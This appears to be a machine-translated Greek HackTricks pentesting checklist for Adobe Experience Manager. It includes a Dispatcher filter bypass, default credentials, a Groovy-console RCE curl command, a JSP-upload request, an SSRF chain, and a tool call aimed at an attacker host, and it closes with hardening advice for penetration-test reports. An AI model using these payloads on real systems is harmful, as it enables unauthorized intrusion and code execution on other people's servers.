AEM (Adobe Experience Manager) Pentesting

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Adobe Experience Manager (AEM, μέρος του Adobe Experience Cloud) είναι ένα enterprise CMS που τρέχει πάνω από το Apache Sling/Felix (OSGi) και ένα Java Content Repository (JCR). Από την οπτική γωνία ενός επιτιθέμενου, οι περιπτώσεις AEM συχνά εκθέτουν επικίνδυνες αναπτυξιακές τελικές σημεία, αδύναμους κανόνες Dispatcher, προεπιλεγμένα διαπιστευτήρια και μια μακρά λίστα CVEs που διορθώνονται κάθε τρίμηνο.

Η παρακάτω λίστα ελέγχου εστιάζει σε εξωτερικά προσβάσιμη (unauth) επιφάνεια επίθεσης που συνεχίζει να εμφανίζεται σε πραγματικές εμπλοκές (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Άλλοι γρήγοροι δείκτες:

  • /etc.clientlibs/ στατικός δρόμος παρών (επιστρέφει JS/CSS).
  • /libs/granite/core/content/login.html σελίδα σύνδεσης με την μπάντα “Adobe Experience Manager”.
  • </script><!--/* CQ */--> σχόλιο στο κάτω μέρος του HTML.

2. Υψηλής αξίας μη αυθεντικοποιημένα endpoints

ΔρόμοςΤι παίρνετεΣημειώσεις
/.json, /.1.jsonJCR κόμβοι μέσω DefaultGetServletΣυχνά μπλοκαρισμένο, αλλά Dispatcher bypass (βλ. παρακάτω) λειτουργεί.
/bin/querybuilder.json?path=/QueryBuilder APIΔιαρροή δέντρου σελίδας, εσωτερικών δρόμων, ονομάτων χρηστών.
/system/console/status-*, /system/console/bundlesOSGi/Felix κονσόλα403 από προεπιλογή; αν εκτεθεί & βρεθούν διαπιστευτήρια ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerΕπιτρέπει αυθεντικοποιημένα πακέτα περιεχομένου → ανέβασμα JSP payload.
/etc/groovyconsole/**AEM Groovy ConsoleΑν εκτεθεί → αυθαίρετη εκτέλεση Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonΑρχεία καταγραφής ελέγχουΔιαρροή πληροφοριών.
/libs/cq/ui/content/dumplibs.htmlDump ClientLibsXSS vector.

Τέχνασμα παράκαμψης Dispatcher

Οι περισσότερες παραγωγικές τοποθεσίες βρίσκονται πίσω από τον Dispatcher (αντίστροφος διακομιστής). Οι κανόνες φίλτρου του μπορούν να παρακαμφθούν προσθέτοντας μια επιτρεπόμενη στατική επέκταση μετά από ένα ερωτηματικό ή κωδικοποιημένο νέο γραμμή:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Μια μόνο αίτηση όπως παραπάνω αποκαλύπτει συχνά κόμβους προφίλ χρηστών με διευθύνσεις email. Οι P-T Partners δημοσίευσαν καλές οδηγίες σχετικά με αυτή την αδυναμία. 【】


3. Κοινές κακοδιαμορφώσεις (ακόμα ζωντανές το 2025)

  1. Ανώνυμος POST servletPOST /.json με :operation=import σας επιτρέπει να φυτέψετε νέους κόμβους JCR. Η μπλοκάρισμα του *.json POST στον Dispatcher το διορθώνει. 【】
  2. Προφίλ χρηστών προσβάσιμα από όλους – η προεπιλεγμένη ACL παραχωρεί jcr:read στο /home/users/**/profile/* σε όλους.
  3. Προεπιλεγμένα διαπιστευτήριαadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter ενεργοποιημένο ⇒ αντανάκλαση XSS μέσω ?debug=layout (CVE-2016-7882, ακόμα βρέθηκε σε παλιές εγκαταστάσεις 6.4).
  5. Εκτεθειμένη Groovy Console – απομακρυσμένη εκτέλεση κώδικα στέλνοντας ένα σενάριο Groovy:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Πρόσφατες ευπάθειες (ρυθμός service-pack)

ΤρίμηνοCVEΕπηρεαζόμεναΕπιπτώσεις
Δεκ 2024CVE-2024-437116.5.21 και νωρίτεραΑκατάλληλη επικύρωση εισόδου → Αυθαίρετη εκτέλεση κώδικα (απαιτεί χαμηλά προνόμια). 【】
Δεκ 2024CVE-2024-43724/266.5.21 και νωρίτεραDOM / Αποθηκευμένο XSS στο Move Page Wizard. 【】
Δεκ 2023CVE-2023-48452/68≤ 6.5.18XSS βασισμένο σε DOM μέσω κατεργασμένου URL. 【】
Δεκ 2022CVE-2022-30683≤ 6.5.13Σφάλμα σχεδίασης κρυπτογράφησης → αποκρυπτογράφηση μυστικών (χρειάζονται χαμηλά προνόμια). 【】

Ελέγξτε πάντα το APSB δελτίο που αντιστοιχεί στο service-pack του πελάτη και ζητήστε την τελευταία 6.5.22 ή Cloud Service 2024.11.


5. Αποσπάσματα εκμετάλλευσης

5.1 RCE μέσω παράκαμψης dispatcher + ανέβασμα JSP

Αν είναι δυνατή η ανώνυμη εγγραφή:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Τώρα ζητήστε το /content/evil.jsp – το JSP εκτελείται με τον χρήστη διαδικασίας AEM.

5.2 SSRF σε RCE (ιστορικό < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py από aem-hacker αυτοματοποιεί την πλήρη αλυσίδα. 【】


6. Εργαλεία

  • aem-hacker – σενάριο καταμέτρησης Swiss-army, υποστηρίζει παράκαμψη dispatcher, ανίχνευση SSRF, ελέγχους προεπιλεγμένων διαπιστευτηρίων και άλλα.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – ζητήστε αναδρομικά /_jcr_content.(json|html) για να ανακαλύψετε κρυφά στοιχεία.
  • osgi-infect – ανεβάστε κακόβουλο OSGi bundle μέσω /system/console/bundles αν είναι διαθέσιμα διαπιστευτήρια.

7. Λίστα ελέγχου σκληρύνσης (για τις συστάσεις της αναφοράς σας)

  1. Διατηρήστε την έκδοση στην τελευταία σωρευτική υπηρεσία (από Ιούλιο 2025: 6.5.22).
  2. Αφαιρέστε/περιστρέψτε τους προεπιλεγμένους λογαριασμούς; επιβάλετε SSO/SAML.
  3. Σφίξτε τους φίλτρους Dispatcher – απορρίψτε ;, κωδικοποιημένες νέες γραμμές, και *.json ή *.querybuilder.json για ανώνυμους χρήστες.
  4. Απενεργοποιήστε ή προστατέψτε τις κονσόλες (/system/console, /crx/*, /etc/groovyconsole) με λίστες επιτρεπόμενων IP.
  5. Εφαρμόστε το πακέτο Anonymous Permission Hardening που παρέχεται από την Adobe.

Αναφορές

  • Adobe Security Bulletin APSB24-69 – “Ενημερώσεις ασφαλείας για το Adobe Experience Manager (Δεκ 2024)”.
  • 0ang3el – εργαλείο aem-hacker (GitHub).

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks